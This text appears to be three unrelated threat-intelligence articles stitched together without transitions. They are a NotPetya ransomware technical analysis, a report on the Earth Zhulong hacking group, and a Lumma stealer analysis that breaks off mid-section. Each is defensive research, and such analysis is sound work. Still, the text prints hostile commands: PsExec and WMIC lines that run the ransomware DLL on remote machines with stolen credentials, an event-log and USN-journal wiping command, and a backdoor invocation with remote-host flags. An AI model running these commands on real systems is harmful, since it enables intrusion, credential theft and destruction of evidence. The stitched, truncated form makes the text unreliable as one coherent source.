Update: Due to naming convention consistency in the industry, CrowdStrike is now calling this variant of Petya – NotPetya.

NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft


Executive Summary This technical analysis provides an in-depth analysis and review of NotPetya.


For more information on CrowdStrike’s proactive protection features see the earlier CrowdStrike blog on how Falcon Endpoint Protection prevents the NotPetya attack.


NotPetya combines ransomware with the ability to propagate itself across a network.


It spreads to Microsoft Windows machines using several propagation methods, including the EternalBlue exploit for the CVE-2017-0144 vulnerability in the SMB service.


This is the same vulnerability Microsoft reported on in MS17-010, which was exploited so successfully in the recent WannaCry ransomware outbreak.


Once a machine is infected by NotPetya, a series of malicious activities ensue, including the following: Dropped files Process hashes and process privilege checks Credential theft Token impersonation Malware propagation Network node enumeration SMB copy and remote execution SMBv1 exploitation via EternalBlue UNC write malware to admin$ on remote target Remote execution of the malware MBR ransomware Physical drive manipulation MFT encryption File encryption System shutdown Anti-forensics Ransomware instructions for file recovery occur after the infection process has completed.


Do NOT pay the ransom.


No files will be recovered if the ransom is paid.


Dropped Files


The following files are dropped by the malware:


Ransomware DLL C:\windows\perfc.dat


The malware decompresses its resource named 0x3 of type RT_RCDATA, and writes the contents to C:\Windows\dllhost.dat.


Analysis of dllhost.dat shows that it is a copy of the PsExec utility, which is a telnet replacement that allows execution of processes on other systems.


C:\windows\dllhost.dat Credential theft module Written as a .tmp file to the temp directory Ransomware splash and warning files Command Line Execution


The malware is a DLL that is launched using rundll32.exe: “C:\Windows\perfc.dat”,#1 18


[“username1:pass1” “username2:pass2” … ] Perfc.dat is the malware name.


It is executed with the following arguments: #1 → This is the ordinal number of the exported function 18 → Minutes used to determine how long to wait for the scheduled shutdown “username:pass” → Credentials to be used to propagate the malware on the network.


Process Hashes and Process Privilege Checks Upon being loaded, the malware starts a subroutine that hashes each running process on the system, and compares each hash with 3 hardcoded hashes: 0x6403527E → avp.exe associated with Kaspersky AV 0x23214B44 → ns.exe associated with Norton Security 0x651B3005 → ccSvcHst.exe associated with Symantec A global flag PROC_FLAG is used to track which of the 3 processes are running on the system. PROC_FLAG


= 0xFF → none PROC_FLAG


= 0xFB → ns.exe or ccSvcHst.exe PROC_FLAG


= 0xF7 → avp.exe PROC_FLAG


= 0xF3 → avp.exe and either ns.exe and/or ccSvcHst.exe


In addition, within the same subroutine, the malware attempts to gain various levels of privilege.


It uses a global flag PRIV_FLAG to track the extent of privileges the malware is able to obtain.


PRIV_FLAG = 0 → no privileges PRIV_FLAG = 1 → SeShutdownPrivilege.


Ability to shutdown the system. PRIV_FLAG


= 2 → SeDebugPrivilege.


Required to either debug or adjust memory for a process owned by another account PRIV_FLAG


= 3 → SeShutdownPrivilege & SeDebugPrivilege PRIV_FLAG


= 4 → SeTcbPrivilege.


Process can assume the identity of any user PRIV_FLAG


= 5 → SeShutdownPrivilege & SeTcbPrivilege PRIV_FLAG


= 6 → SeDebugPrivilege & SeTcbPrivilege PRIV_FLAG


= 7 → SeShutdownPrivilege & SeDebugPrivilege & SeTcbPrivilege These 2 flags have a considerable impact on the execution of the malware.


The credential theft module is dropped if the malware has one of the following privileges: (It should be noted that the PROC_FLAG can any of the possible values) SeDebugPrivilege SeShutdownPrivilege & SeDebugPrivilege SeDebugPrivilege & SeTcbPrivilege SeShutdownPrivilege & SeDebugPrivilege & SeTcbPrivilege The MBR overwrite and MFT encryption subroutine is not executed if avp.exe is found running on the system The EternalBlue subroutine is not executed if either ns.exe or ccSvcHst.exe are found running on the system The system is rebooted using the API NtRaiseHardError if the process has at least the SeShutdownPrivilege level Credential Theft Credentials are provided to the malware in two ways:


As an argument to the DLL (see command line execution section) Communication via a named pipe from the credential theft module To create a named pipe, a random GUID is generated, and the credential theft module is launched as a child process with the named pipe as an argument.


Communication is constantly monitored by a thread that invokes PeekNamedPipe to copy data from the pipe.


Credential Theft Module Depending on the OS architecture, the malware will either drop a 32-bit version or a 64-bit version of the credential theft module.


The malware decompresses a resource (0x1 if the OS is x86, 0x2 if the OS is x64) of type RT_RCDATA using zlib 1.2.8 compression.


The resulting contents are then written to a randomly named .tmp file in the %TEMP% folder.


Upon being loaded, the module initializes and sets up a CNG provider.


It calls OpenProcess on lsass.exe with access flag set to VM_READ, and looks for the modules wdigest.dll and lsasrv.dll loaded in the lsass.exe process.


wdigest.dll → Digest authentication security package.


Used to: Authenticate client access with integrity protection to a directory service using LDAP Authenticate client access using SASL Authenticate client access to a web site lsasrv.dll → Authentication security component.


The lsasrv.dll is a LSA (Local Security Authority)


Server service, which both enforces security policies and acts as the security package manager for the LSA This file extracts credentials from LSASS similar to Mimikatz.


The extracted credentials are sent to the NotPetya process via the named pipe.


Token Impersonation Impersonation occurs only if the process has the required privilege level to assume the identity of another user.


OpenProcessToken and GetTokenInformation is used to grab the TokenSessionId for terminal service sessions.


Each token is duplicated and the new handle is saved to a list.


For each of the duplicated tokens, a new thread is created in suspended mode.


The impersonated token replaces the current thread token with SetThreadToken and the thread is resumed.


This thread is then used to execute the SMB copy and remote execution section as the impersonated user.


Malware Propagation The following methods are used to spread across a network: Network node enumeration SMB copy and remote execution SMB exploitation via EternalBlue Network Node Enumeration


The malware attempts to gather a list of known TCP endpoints and IP addresses to check whether it can connect to the IPs via SMB ports 445 and 139.


The malware creates a thread for core work that invokes the following API’s: GetExtendedTcpTable to retrieve a list of TCP endpoints GetIpNetTable to retrieve the IPv4 to physical address mapping table → Gets a MIB_IPNETTABLE structure NetServerEnum to get a list of servers on the domain with the following parameters: Servername = null level = 101 (return server names, types, and associated data) NetServerGetInfoto retrieve the current configuration for the local server, specifically to determine if the system is a non-domain controller server, a primary domain controller, or a backup domain controller.


The API returns a SERVER_INFO_101 structure that contains an sv101_type field.


The malware checks to see if the value of that field is SV_TYPE_SERVER_NT, SV_TYPE_DOMAIN_CTRL, or a SV_TYPE_DOMAIN_BAKCTRL.


If the field is either of the values mentioned, the following takes place: DhcpEnumSubnets to get an enumerated list of subnets on the server DhcpGetSubnetInfo on each subnet on the list to get the DHCP_SUBNET_STATE value to see whether the DhcpSubnetEnabled flag is set DhcpEnumSubnetClients on each subnet with the aforementioned flag set.


This function returns an enumerated list of clients associated with the IP addresses in each subnet.


For each client, the following occurs: Obtains the IP address from the ClientIpAddress field in the DHCP_CLIENT_INFO structure Attempts to establish a socket connection to the client IPs over ports 445 and 139 (both associated with SMB) SMB Copy and Remote Execution There are two approaches to using valid credentials to copy and execute the malware to a remote host: Token impersonation Requires the process to have “SeTchPrivilege” Stolen credentials Each of these methods will be used to do a UNC write to Admin$ and then execute the malware on the target machine.


SMBv1 Exploitation via EternalBlue NotPetya has the capability to exploit SMBv1 via the well known EternalBlue exploit.


Once the exploit is launched, the shellcode will end up writing the file and executing the malware on the target machine.


UNC Write to Admin$ WNetAddConnection2W is used to connect to a server using the default credentials for the impersonated token, and an attempt is made to write the file to: \\server-name\\admin$\\malware-name UNC write to admin$ CreateFile and WriteFile are used to write the file to the remote server.


The typical filename is perfc.dat.


Remote Execution Remote execution relies on either PsExec or WMIC.


DLLHost.dat (psexec) The following command will execute on the remote machine: C:\Windows\dllhost.dat \\<target host> -accepteula -s


-d C:\Windows\System32\rundll32.exe “C:\Windows\perfc.dat”,#1 18 “<additional creds for arguments>”” -accepteula → This suppresses the display of the license dialog -s


→ run as system -d → do not wait for process termination -u → username (not shown here) -p → password (not shown here) WMIC


The following command will execute on the remote as the specified user: C:\Windows\system32\wbem\wmic.exe /node:”<server name>” /user:”<username>”


/password:”<password>” process call create “C:\Windows\System32\rundll32.exe \”C:\Windows\perfc.dat\” #1 19 “<additional creds for arguments>”” /node → specify server name /user → username /password → password Process call create → execute remote command Once the command line arguments are generated, either CreateProcessAsUser or CreateProcess is executed, depending on whether this is being done through impersonation or stolen credentials.


MBR Ransomware Physical Drive Manipulation The malware calls DeviceIOControl on //./PhysicalDrive0 with IOCTL_DISK_GET_PARTITION_INFO_EX control code to get PARTITION_INFORMATION_EX structure.


The structure represents the physical location on the disk.


The malware takes the following steps to modify the MBR: Reads the MBR and encodes it using XOR encoding with key 0x7 The first sector is overwritten by a custom boot loader


The next 31 sectors are then overwritten by 16-bit code that is responsible for encrypting the MFT using Salsa20 encryption Sector 32 contains the following: CRYPT_FLAG


–> Initially, this byte is set to 0, which denotes that the MFT has not been encrypted.


The 16-bit code uses this flag to determine whether to infect the MFT A random array of bytes 0x20 in length is generated using CryptGenRangom.


This is used as the Salsa20 encryption key.


In addition, another random array of bytes 0x8 in length is created using the same API call; this is used as the nonce for the encryption.


The malware also writes the hardcoded string 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX in the sector.


This is the Bitcoin wallet that is later displayed on the splash screen.


A random blob is created by CryptGenRandom 0x3C bytes in length.


This is presented as the user’s personal installation key on the splash screen.


It should be noted that this personal installation key is random in nature; and therefore there is no way to trace it back to the victim machine Sector 33 contains all 0x7’s.


This is used as an integrity check for the decryption process.


Sector 34 contains the original MBR that was encoded by XORing with 0x7 MFT Encryption As mentioned previously, the malware has its own custom boot loader once the machine has been infected and rebooted.


This code within the MBR is responsible for loading the code which encrypts the MFT using Salsa20, displays the ransom note, and accepts the private key.


It should be noted that the code is a low-level 16-bit code that uses BIOS interrupt calls to display text to the user, accept user input, and read/write to various sectors.


Since this code is run outside of the OS, its capabilities are quite limited.


However, its main purpose is to encrypt or decrypt the MFT, which it is able to accomplish using Salsa20.


The following are the BIOS interrupt services used throughout the code: int 0x13 – read/write sectors on disk int 0x10 – display text int 0x19 – cause disk reboot int 0x16 – obtain keystrokes, and status of keyboard buffer The code first checks the CRYPT_FLAG in sector 32 to see whether it has been set to 1 (encrypted).


The first time a machine is infected, the CRYPT_FLAG is always set to 0 (not encrypted), which leads the malware to invoke a subroutine that displays the following decoy check disk screen to the user.


In reality, the subroutine performs the following functions: Sets the CRYPT_FLAG to 1.


This is performed before any encryption actually takes place Encrypts the contents of Sector 33 using the Salsa20 cipher.


Shortly after the encryption, the buffer containing the Salsa20 key is overwritten; therefore, the key is destroyed Encrypts the MFT and stores


a counter of MFT records that are encrypted Causes a disk reboot Upon a second reboot, the NotPetya ransomware note is displayed as shown below:


In addition, it initiates a loop that waits for the user to input the purchased key.


Once the key is entered, the code attempts to decrypt the contents of Sector 33, which were previously encrypted using Salsa20 key.


Once the sector is decrypted, the code reads all 512 bytes of the sector and ensures that they all equal 0x7.


If this is successful, the CRYPT_FLAG is set to 2 (decrypted), and the same key is used to decrypt the MFT.


Furthermore, the original encoded MBR in Sector 34 is also decoded, and placed back into Sector 0, as shown below.


File Encryption Along with MFT encryption


, the malware also targets certain files.


The following table contains the file extensions that are targeted: .3ds .7z .accdb .ai .asp .aspx .avhd .back .bak


.c .cfg .conf .cpp .cs .ctl


.dbf .disk .djvu .doc .docx.


.dwg


.eml .fdb .gz


.h .hdd .kdbx .mail .mdb .msg .nrg .ora


.ost .ova


.ovf


.pdf .php


.pmf .ppt .pptx .pst .pvi .py .pyc


.rar


.rtf


.sln .sql .tar .vbox .vbs .vcb .vdi .vfd .vmc


.vmdk .vmsd .vmx .vsdx .vsv .work .xls .xlsx .xvd .zip


The malware only targets fixed drives on the system.


It invokes CryptGenKey to generate an AES-128 key.


This key is used to encrypt all the files on the system.


The malware will first start enumerating files in the directory it is being executed from.


The following steps are taken to encrypt the individual files: Gets file handle Gets the file size Creates a file mapping of the file with PAGE_READWRITE protection Maps the view of the file mapping with FILE_MAP_WRITE | FILE_MAP_READ access Calls CryptEncrypt to encrypt the contents of the file using AES-128 Once the files in a folder are encrypted, the ransomware drops a ransomware note in a file named README.txt.


The “personal installation key” is the result of the AES-128 key encrypted with an RSA-2048 key, which is included in the malware.


Once the README.txt is dropped on disk, CryptDestroyKey is invoked to release the handle to the key.


The following message is then displayed to the user: System Shutdown NotPetya employs a few methods to ensure that the system reboots so that the boot loader loads the MFT encryptor code.


It spawns cmd.exe with the following commandline:


/c schtasks /Create/SC once /TN “” /TR “C:\Windows\system32\shutdown.exe /r /f”


/ST <HH:MM>


The <HH:MM> value depends on the second parameter when being invoked by rundll32.exe.


If the second parameter is 30, the scheduled task will trigger 30 minutes after the malware execution.


However, if no second parameter is provided, the scheduled task is set to trigger 60 minutes after the malware execution by default.


Explanation of schtask parameters: /TN → taskname (not providing a custom name forces Windows to provide a random GUID as a name) /TR → taskrun.


Path and filename of the task to be run /ST → starttime Explanation of shutdown.exe parameters:


/r → reboot after shutdown /f → forces running applications to close In addition, it also invokes the API NTRaiseHardError.


This is an undocumented Windows API that causes the system to reboot.


If the API fails to execute, the malware calls InitiateSystemShutdownExW with the flag set to reboot the machine.


Anti-Forensics The malware employs anti-forensics practices throughout its execution.


For instance, immediately after execution, it loads itself in memory, and deletes itself from the disk.


However, before deletion, it zeros out the file contents on disk to ensure that the malware cannot be recovered via disk forensics.


The malware uses a similar approach for the credential theft module it drops as well.


Once the contents of its resource section are decompressed and written to disk, it zeros out the memory buffer containing the decompressed PE files.


Furthermore, once execution of those files take place, it zeroes out its file contents before deleting from the disk.


The malware also spawns cmd.exe to execute the following command:


/c wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D


C:” This command is responsible for clearing out the following logs: Setup logs: contains events related to application setup System logs: contains events pertaining to system components Security logs: contains events such as logon attempts, file creation, access, deletion Application logs: contains events logged by applications USN journal: maintains a record of changes made to a particular volume For information on CrowdStrike’s proactive protection features see the earlier CrowdStrike blog on how Falcon Endpoint Protection prevents this destructive ransomware.


Appendix A: Indicators of Compromise (IOCs)


Below is the relevant data for the files analyzed.


File: Dropper / Payload Size: 362360 MD5: 71B6A493388E7D0B40C83CE903BC6B04 SHA256: 027CC450EF5F8C5F653329641EC1FED91F694E0D229928963B30F6B0D7D3A745 Compiled: Sun, Jun 18 2017, 7:14:36 – 32-bit DLL Signature Corrupt Subject: Microsoft Corporation Issuer: Microsoft Code Signing PCA


File:Credential Theft Module 32-bit Size: 47616 MD5: 2813D34F6197EB4DF42C886EC7F234A1 SHA256: EAE9771E2EEB7EA3C6059485DA39E77B8C0C369232F01334954FBAC1C186C998 Compiled: Tue, Jun 6 2017, 13:31:37 – 32-bit EXE File:Credential Theft Module 64-bit Size: 57344 MD5: 7E37AB34ECDCC3E77E24522DDFD4852D SHA256: 02ef73bd2458627ed7b397ec26ee2de2e92c71a0e7588f78734761d8edbdcd9f Compiled: Tue, Jun 6 2017, 13:31:37 – 64-bit EXE File: dllhost.dat Size: 381816 MD5: AEEE996FD3484F28E5CD85FE26B6BDCD SHA256: F8DBABDFA03068130C277CE49C60E35C029FF29D9E3C74C362521F3FB02670D5 Compiled: Tue, Apr 27 2010, 0:23:59 – 32-bit EXE Version: 1.98 Signature Valid Subject: Microsoft Corporation Issuer: Microsoft Code Signing PCA The post NotPetya Technical Analysis – A Triple Threat: File Encryption, MFT Encryption, Credential Theft appeared first on .


Earth Zhulong:

Earth Zhulong Familiar Patterns Target Southeast Asian Firms


Familiar Patterns Target Southeast Asian Firms url: https://www.trendmicro.com/en_us/research/23/b/earth-zhulong-familiar-patterns-target-southeast-asian-firms.html Cyber Crime Earth Zhulong:


Familiar Patterns Target Southeast Asian Firms In 2022, we discovered Earth Zhulong, a hacking group that has been targeting Asian firms similar to another well-known threat actor.


In this article, we unravel their new tactics, techniques and procedures that they apply on their misdeeds.


By: Ted Lee February 08, 2023Read time: ( words) Save to Folio Subscribe Introduction In 2022, we discovered a hacking group that has been targeting telecom, technology, and media sectors in Southeast Asia since 2020.


We track this particular group as Earth Zhulong.


We believe that Earth Zhulong is likely related to the Chinese-linked hacking group 1937CN based on similar code in the custom shellcode loader and victimology.


In this post, we’ll introduce Earth Zhulong’s new tactics, techniques, and procedures (TTPs) in the recent campaign and the evolution of their custom shellcode loader, “ShellFang”.


Through the TTPs, we see that they are sophisticated and meticulous as malicious actors.


They adopt multiple approaches to obfuscate their tools and eliminate their footprint after finishing the operation.


As a result, we have exerted greater effort to hunt down and analyze their tools to fully understand the attack scenario.


In addition, we have verified three different variants of ShellFang were used from 2020 to 2022.


The latest variant demonstrates that threat actors have adopted more obfuscation techniques, including abusing exception mechanisms to obfuscate the execution flow of programs and Windows API hashing.


In early 2022, we further discovered that Earth Zhulong abused group policy objects (GPO) to install loaders and launch Cobalt Strike on their target hosts.


Several hack tools were also found on the infected hosts, including tunneling, port scanning, a Go-lang based backdoor and an information stealer used to harvest internal information.


Compared to old variants, code structure in the latest variant is dramatically different and there are few shared features between old and the latest variant.


However, we found the relationship during the long-term investigation and finally correlated old variants with the latest one.


We believe the relationship found in this research could bring this notorious hacking group back to public sight and the findings here will be helpful to future research on hacker groups which are active in Southeast Asia.


Initial Access – Lure document Back in 2020, through the command and control (C&C) domain observed in our investigation, we found a lure document with a malicious macro.


Once the victim opens the document, the embedded macro will be executed, injecting the shellcode into rundll32.exe.


We have identified the embedded shellcode as a Cobalt Strike shellcode which will be used to build connection to a remote hacking machine.


We believe this lure document is one of the approaches used by the threat actors to compromise their targets.


Figure 1.


Screenshot of decoy document Figure 2.


Malicious macro embedded in the document Figure 3.


Shellcode which is used for code injection.


Propagation through GPO In early 2022, we further observed new TTPs used to spread malware in the victim’s environment.


After getting access to the internal network, they perform domain exploration using SharpHound.


Once they successfully compromise the domain controller, they will submit immediate tasks to the hosts in the domain through GPO as seen in Figure 5, As the hosts receive the task through GPO, they will run a PowerShell script named “co.ps1” and create scheduled tasks for persistence. Figure 4.


Overview of attack scenario Figure 5.


PowerShell script to create a ImmediateTask through GPO


As shown in Figure 6, threat actors use multi-layered AES encryption and base64 encoding to obfuscate “co.ps1”.


Heavy obfuscation in a simple but useful anti-analysis approach makes it difficult for security products to detect their scripts.


After clearing the obfuscation, we found the script is used to deploy malware components (win.exe, gm.dll, and lengs.medil.xml) on the infected machine.


Figure 6.


Heavily obfuscated PowerShell script Figure 7.


Cleaned content of co.ps1 Earth Zhulong adopted DLL sideloading techniques to run their malware.


“win.exe” is a renamed GoogleToolbarNotifier application.


The malicious DLL “gtn.dll”, which we named as “ShellFang”, loads when a legitimate executable is launched.


It then calls the export function, “Go”, to start the loading procedure of the encrypted payload to decrypt the payload called “lengs.medil.xml”, which is the Cobalt Strike beacon. Figure 8. win.exe file information Figure 9. win.exe will call the malicious export function in gtn.dll Evolution of ShellFang loader During the investigation, we found that Earth Zhulong started targeting Southeast Asian firms in 2020.


Although they always used DLL sideloading to launch their malware, they never stopped changing the code structure of their shellcode loader.


Here we summarize the information we collected from 2020 to 2022 and verify three different variants used by Earth Zhulong.


Loader prior to 2020 (Variant 1)


The earliest variant of ShellFang was observed in a victim’s environment in 2020.


However, based on the timestamp of export function, this variant was compiled in 2017.


The code structure of ShellFang is simple.


It would read the encrypted payload (“nkford.nlp” is the payload in this case) then decrypt it and run it in the memory.


The shellcode loader used XOR with a 26 byte keyset and started a long sleep after finishing shellcode execution. Figure 10.


Main function of earliest variants Loader in 2021 (Variant 2) Compared to the variant in 2020, there was no big change in 2021.


They changed the decryption function into RC4 instead of the original XOR, but the code structure was basically the same as the previous variant.


Figure 11.


Main function of variant in 2021 Loader in the latest campaign (2022, variant 3) Compared to previous variants, changes were seen in the code structure in variant 3.


In this variant, more anti-analysis techniques were added to strengthen their loader, including API hashing and execution flow obfuscation through exception mechanism.


Threat actors intentionally raise exceptions to interrupt malware analysts and obfuscate the execution flow of the program.


Windows APIs are obfuscated via a hashing function and dynamically resolved in the run-time.


The payload will be decrypted with RC4 algorithm, and the final payload is an HTTPs Cobalt Strike beacon.


Figure 12.


A loop of intentional exception triggers to obfuscate control flow of program.


Figure 13.


Necessary APIs will be dynamically resolved during execution.


Hacking Tools Besides the shellcode loader and Cobalt Strike, we also observed additional tools, including port scanner, proxy and information stealer deployed to the compromised hosts.


It’s worth noting that they use various programming platforms including C language, Go-Lang and Python.


In this section, we will mention some noteworthy hacking tools used in their operation.


MACAMAX Although threat actors already installed the Cobalt Strike as backdoor, we also found out that they deployed another Go-Lang backdoor, which we named MACAMAX in the meantime.


It supports proxy (Socks5), upload/download file and remote shell functions.


Network configuration was defined in another configuration file, and it would be loaded when running the backdoor.


Furthermore, the configuration file will be deleted once it is loaded into memory for fear of leaking network infrastructures.


cmd> {MACAMAX}.exe {network config file} Usage of MACAMAX -rh={remote host} -rp={remote port} -ps={proxy server} -sl=5


-to=0 -cg=1 Information defined in the configuration file.


Themida-packed EarthWorm During our investigation, we found they also use the notorious network-penetration tool, “EarthWorm”.


EarthWorm is a simple network tunnel tool with SOCKS v5 server and port transfer developed by a Chinese engineer.


Although the original developer already stopped maintenance and removed the download link, it’s still getting more popular in the recent cyber-attack.


With this tool, the attackers are able to bypass the firewall and access the machine in a restricted network.


Since EarthWorm has become more common, security vendors also provide solutions to detect this powerful tool.


In order to avoid being detected by security products, threat actors use Themida packer to obfuscate the signature used for detection.


Information Stealer We found a python-based information stealer used to collect internal information of victims.


This information stealer is compiled with Python 3.10 and packed by noted tools, “PyInstaller”, used to convert python script to be a standalone executable.


After checking the Python assembly code of the sample, we found this tool is used to dump information from the victim’s Oracle database.


Dumped data will be stored in a csv file and compressed by WinRAR with a password (“5tgb6yhn”), then all compressed data will be uploaded to Dropbox at the end.


Figure 14.


Oracle connection config and SQL command for information dump Figure 15.


Embedded WinRAR command Figure 16.


Dropbox configuration and upload RAR data Footprint Hidden and Elimination Threat actors run PowerShell scripts with previous versions of PowerShell that do not support Script Block Logging with the intent to evade being detected while running the malicious scripts (so-called “Downgrade Attack”).


After finishing the operation, they will clean the intrusion footprint and delete important files, including payload and network configuration files, to avoid leaking any information to analysts.


It is worth noting that they also corrupt their shellcode loader by wiping out the header of the file, seen in Figure 15.


This is a common approach to make it harder for analysts to analyze their tools in the ransomware attack, but it’s relatively rare in an APT attack.


These show that they are sophisticated and meticulous actors. Figure 17.


Obfuscated PowerShell script used to clean the footprint on Domain Controller Figure 18.


Left is the corrupted ShellFang and the right one is the normal one.


Attribution Summarizing the information collected from 2020 to 2022, we find that Earth Zhulong is likely to be related to a notorious hacking group, “1937CN” based on the code similarity and victimology aspects.


In this section, we will introduce the process of attribution.


Code similarity Although the earliest variant of ShellFang used in this campaign was observed in 2020, we found the malware was already compiled in 2017, based on the timestamp of an export function, which can be seen in Figure 19.


In addition, we reviewed reports published around that time and found the decryption algorithm in ShellFang was once used in the campaign by 1937CN, which was revealed by Fortinet in 2017.


Shown in Figure 20, the XOR keyset and algorithm are highly similar.


Based on the prevalent time and algorithm, we believe Earth Zhulong is likely to be related to 1937CN.


Figure 19.


Timestamp of export function in the earliest variant Figure 20.


The left is the algorithm revealed by Fortinet in 2017.


The right one is found in the earliest ShellFang variant.


Victimology Based on our long-term investigation, Southeast Asia is Earth Zhulong’s major target, focusing on telecom and media sectors.


1937CN is a well-known hacking group in Southeast Asia and has always been their major target as well.


In 2016, 1937CN was suspected to attack Noi Bai and Tan Son Nhat airports in Vietnam, hijacking the flight information screens to broadcast anti-Vietnamese and anti-Philippines propaganda.


In 2017, Fortinet also revealed their campaign targeting Vietnamese organizations by using a weaponized RTF document.


In victimology aspects, Earth Zhulong is consistent with the 1937CN group.


Conclusion Through long-term monitoring, we found this campaign continued targeting Southeast Asia from 2020 to 2022.


In the past 2 years, they always have used DLL sideloading as their major technique to launch their malware.


However, they continued updating their tools and even added more anti-analysis techniques in their latest tools including multi-layer obfuscation, API obfuscation, and execution flow obfuscation by raising exceptions intentionally.


We also found they compromise the domain controller in the victim’s environment and deployed Cobalt Strike on their hosts by creating immediate tasks through GPO.


In addition, Go-lang and Python are also used as programming languages to build their tools.


Both programming languages provide strength for cross-platform programs development.


Furthermore, Python and Go-lang executables usually compile all necessary libraries in a single binary, making malware classification more difficult for analysts and resulting in a large binary.


Some security products have limitations when handling large files.


Which may be their approach as large binaries reduces the risk of being detected.


In the process of tracking and analyzing the data, we have identified the hacker group behind the campaign which targets organizations in Southeast Asia, and called it Earth Zhulong.


Based on the victimology and usage of a highly similar decryption algorithm, we believe that Earth Zhulong is related to the hacking group known as “1937CN”.


We hope our findings will remind the public that the actions and motivations of 1937CN continue to resurface through groups like Earth Zhulong, and that these groups remain a big threat to cybersecurity in Southeast Asia.


While the threat remains focused on Southeast Asia, tactics like this can be applied to various places across the world.


It is better to stay ahead of the curve to ensure your safety against these malicious actors.


Ensuring your systems are protected on all aspects is integral to the productivity of your enterprise.


Trend Micro Vision One can help you prevent threats like this with multiple security layers across all platforms, and its intuitive threat detection, investigation and response system makes it a key factor to stop Earth Zhulong’s evolving methods of infiltrating systems.


Indicators of compromise (IOCs) Download the full list of IOCs here.


MITRE Tactics Techniques Discovery T1087 - Account Discovery T1482 - Domain Trust Discovery Execution T1204.002 - User Execution: Malicious File Defense Evasion T1574.002 - Hijack Execution Flow: DLL Side-Loading T1055 - Process Injection T1070.006 - Timestomp T1140 - Deobfuscate/Decode Files or Information T1070 - Indicator Removal T1562.010 - Downgrade Attack Persistence T1053.005 - Scheduled


Task Privilege Escalation T1484 - Domain Policy Modification T1078 - Valid Account Command and Control T1071.001 - Application Layer Protocol: Web Protocols T1090.001 - Internal Proxy T1090.002 - External Proxy Authors Ted Lee Threat Researcher


By SOCRadar Research In our article about Stealer-as-a-Service, as the SOCRadar Research team, we looked at Lumma Stealer, a relatively new and unknown malware.


During our research, we didn’t find much information, so we did threat hunting by monitoring hacker forums with our dark web team.


We added the resulting data to our platform and started our analysis.


LummaC2 is the name of a malicious program classified as a stealer.


It operates by stealing sensitive information from infected devices and installing applications.


After our dark web team discovered LummaC2, we found that it was being sold on underground forums.


Due to its distribution on the web, it can be related to multiple cybercriminals.


According to the promotional material, the LummaC2 is approximately 150-200 KB and can affect operating systems from Windows 7 to Windows 11.


Executive Summary Threat Identifiers Name LummaC2 Threat Type Stealer Detections VirusTotal Symptoms Stealers are designed to stealthily infiltrate the victim’s computer and remain silent.


Thus no particular symptoms are clearly visible on an infected machine.


Distribution Methods Infected email attachments, malicious online advertisements, social engineering, software ‘cracks.’


Damage Stolen passwords and banking information, identity theft, and the victim’s computer added to a botnet.


The LummaC2 stealer begins its operations by obtaining relevant device data, such as OS version and architecture, hardware ID, CPU, RAM, screen resolution, system language, etc.


This malware can exfiltrate files and extract data from specific applications.


Browsers targeted by LummaC2: Chrome, Chromium, Mozilla Firefox, Microsoft Edge, Brave, Kometa, Opera GX Stable, Opera Neon, Opera Stable, Vivaldi, and others.


This stealer may acquire browsing histories, Internet cookies, usernames/passwords, personally identifiable details, credit card numbers, and other highly sensitive information from browsers.


LummaC2 also targets multiple cryptocurrencies (e.g., Binance, Electrum, Ethereum, etc.).


In summary, software like LummaC2 on devices can result in severe privacy issues, significant financial losses, and identity theft.


Lumma Stealer Composition With the Lumma Stealer malware hash in hand, we visited Malware Bazaar and Triage, where malware samples can be downloaded.


We searched for the hash value and finally downloaded the malware from the Triage site, completing the first step of our analysis.


Since the sample we obtained is a PE file, when we run it after the appropriate environment is prepared and watch its mobility, it continues to run under the name “tmp.exe” by unpacking itself to the “C:\Users\admin\AppData\Local\Temp\” file path.


Process Name Command Line tmp.exe C:\Users\admin\AppData\Local\Temp\tmp.exe Behavior Activities: tmp.exe Infostealers often target stored browser data, which can include saved credentials etc.


Registry Key Sets: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections HKU\S-1-5-21-575823232-3065301323-1442773979-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings HKU\S-1-5-21-575823232-3065301323-1442773979-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable 1 HKU\S-1-5-21-575823232-3065301323-1442773979-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer %HTTP_PROXY%:8080 Reads browser cookies and saves this path: C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\ymgarh1v.defaul t\cookies.sqlite Connects to the server without a hostname.


After the connection to the address is established, it transmits information as a zip file.


Details are given in other stages.


Static Analysis Overview File Name tmp.exe File Size 158 KB File Type Win32.exe MD5 c9c0e32e00d084653db0b37a239e9a34 SHA-1 b97965e4a793ec0fa10abc86d0c6be5718716d8a SHA-256 d932ee10f02ea5bb60ed867d9687a906f1b8472f01fc5543b06f9ab22059b264 When Lumma is analyzed in various tools, the outputs of the tools are as follows: It is written in C++ programming language.


Detect It Easy tool’s output is the total ‘6.51920’ entropy value, which turns out 81%.


PEStudio tool’s output is total ‘6.519‘ entropy value.


In addition to the entropy value, we can view all functions and imported addresses when we examine them with IDA.


At this stage, we decide that it is not packed, and when we finally check with the “exeinfope,” the result is “not packed.”


Strings have been searched, but since there is too much obfuscated information, no tangible results have been found.


One remarkable result we achieved using PEStudio was that it uses ASLR.


We will continue the analysis by changing the ASLR ‘true‘ parameter to ‘false‘ and saving it.


Anti-Debugger control is provided with “IsDebuggerPresent” API.


If the EAX register takes 1 as a value, the program will close itself, and it is impossible to debug with the analysis tools; that’s why changing it to 0 to run the program without closing.


The anti-debugger bypass technique will be done during dynamic analysis.


The beginning of obfuscated strings and the field where browser cookie information is collected.


The stealer also targets crypto wallets such as Binance, Electrum, and Ethereum and collects sensitive information from the victim’s machine.


The below figure shows the code snippet of stealers targeting crypto wallets.


Here are the obfuscated collections.


Crypto Wallets: Deobfuscated strings come after.


Web Browsers: Deobfuscated strings come after.


The stealer has many obfuscated strings that are being covered by a random string, “edx765“, to evade detection.


Upon execution, the stealer passes the obfuscated string to a function that strips the arbitrary string and delivers the original string.


The results obtained by decoding strings are compared below.


Dynamic Analysis We have started with the first findings we detected while running LummaC2 Stealer in the “behavior” section.


Now, let’s move on to the detailed dynamic analysis stage, verify what we found in the “static analysis” section, and check if we can change the request to the C2 address.


